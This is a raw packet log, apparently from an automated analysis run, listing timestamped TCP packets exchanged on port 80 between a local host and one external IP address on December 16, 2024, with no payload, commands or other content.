Dec 16, 2024 13:16:14.887829065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.888528109 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.888575077 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.888641119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.888684034 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.889599085 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.889611959 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.889646053 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.889664888 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.890502930 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.890516043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.890549898 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.890571117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.891556978 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.891568899 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.891602039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.891623974 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.892635107 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.892646074 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.892683983 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.893482924 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.893493891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.893524885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.894388914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.894404888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.894428968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.894458055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.895277023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.895318985 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.895368099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.895405054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.896233082 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.896270037 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.896498919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.896544933 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.897309065 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.897320986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.897350073 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.898288012 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.898298025 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.898334980 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.899200916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.899250031 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.899305105 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.899343014 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.900293112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.900304079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.900343895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.901158094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.901170015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.901205063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.901232958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.902034998 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.902092934 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.902139902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.902180910 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.903114080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.903126001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.903162003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.904145956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.904160023 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.904198885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.905061007 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.905072927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.905116081 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.906039953 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.906052113 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.906090021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.906959057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.906970024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.907011032 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.907023907 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.907862902 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.907872915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.907907963 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.907923937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.908792973 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.908829927 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.908879042 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.908926964 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.909766912 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.909805059 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.910435915 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.910480976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.910722017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.910758972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.910801888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.910837889 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.911775112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.911786079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.911814928 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.911851883 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.912653923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.912692070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.912754059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.912789106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.913666010 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.913718939 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.913793087 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.913829088 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.914647102 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.914693117 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.914741039 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.914783955 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.915730000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.915781975 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.915838957 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.915878057 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.916518927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.916567087 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.916611910 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.916646957 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.917604923 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.917615891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.917653084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:14.918876886 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:14.918917894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.059434891 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.059464931 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.059523106 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.059554100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.059763908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.059808969 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.059910059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.059952021 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.061009884 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.061024904 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.061053038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.061074972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.061844110 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.061858892 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.061894894 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.061914921 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.062715054 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.062727928 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.062761068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.062773943 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.063812017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.063826084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.063855886 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.063875914 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.064610958 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.064656019 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.064707041 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.064743042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.065710068 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.065725088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.065762043 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.066665888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.066688061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.066719055 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.066730022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.067637920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.067679882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.067713976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.067748070 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.068612099 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.068628073 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.068655968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.068672895 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.069428921 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.069627047 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.069662094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.069699049 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.070394993 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.070436001 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.070487976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.070523024 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.071407080 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.071446896 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.071676016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.071711063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.072371960 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.072412968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.072433949 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.072468042 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.073395967 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.073410034 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.073441982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.074419022 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.074433088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.074455976 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.074470997 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.075218916 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.075257063 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.075326920 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.075360060 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.076284885 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.076324940 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.076375008 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.076409101 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.077316999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.077330112 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.077363968 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.078228951 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.078243017 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.078279972 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.078314066 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.079380035 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.079426050 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.079442024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.079483986 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.080429077 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.080481052 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.080542088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.080579996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.081773996 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.081821918 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.081908941 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.081968069 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.082900047 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.082946062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.083019972 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.083055973 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.083724976 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.083750963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.083767891 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.083781958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.084832907 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.084878922 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.084938049 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.084980965 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.086072922 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.086122990 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.086184025 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.086222887 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.087014914 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.087064981 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.087122917 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.087162018 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.087862015 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.087909937 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.088047028 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.088090897 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.088506937 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.088545084 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.088604927 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.088643074 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.089255095 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.089301109 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.089459896 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.089500904 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.090127945 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.090143919 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.090178013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.090862036 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.090873003 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.090910912 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.091725111 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.091772079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.091778040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.091815948 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.092648029 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.092700005 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.092708111 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.092741013 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.093732119 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.093743086 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.093785048 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.094611883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.094624043 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.094659090 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.095562935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.095623016 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.096545935 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.096558094 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.096605062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.096656084 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.096693039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.097460985 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.097510099 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.097589970 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.097636938 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.098526001 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.098536968 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.098577023 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.099411964 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.099467039 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.099518061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.099560022 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.100358963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.100404978 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.100455999 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.100495100 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.101346016 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.101389885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.101448059 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.101492882 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.102345943 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.102370024 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.102391958 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.102406979 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.103298903 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.103355885 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.103399038 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.103434086 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.104326963 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.104376078 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.104412079 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.104454041 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.105277061 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.105324984 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.105344057 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.105381966 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.106224060 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.106237888 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.106270075 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.106287003 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.107198000 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.107254982 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.107263088 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.107309103 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.108087063 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.108139038 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.108191013 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.108231068 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.109042883 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.109087944 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.109159946 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.109194040 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.110044956 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.110090017 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.251194954 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.251262903 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.251358986 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.251409054 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.251605988 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.251646996 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.251694918 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.251733065 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.252599955 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.252644062 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.252698898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.252737999 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.253583908 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.253631115 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.253681898 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.253729105 CET	49711	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:15.254453897 CET	80	49711	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:15.254501104 CET	49711	80	192.168.2.8	31.41.244.11
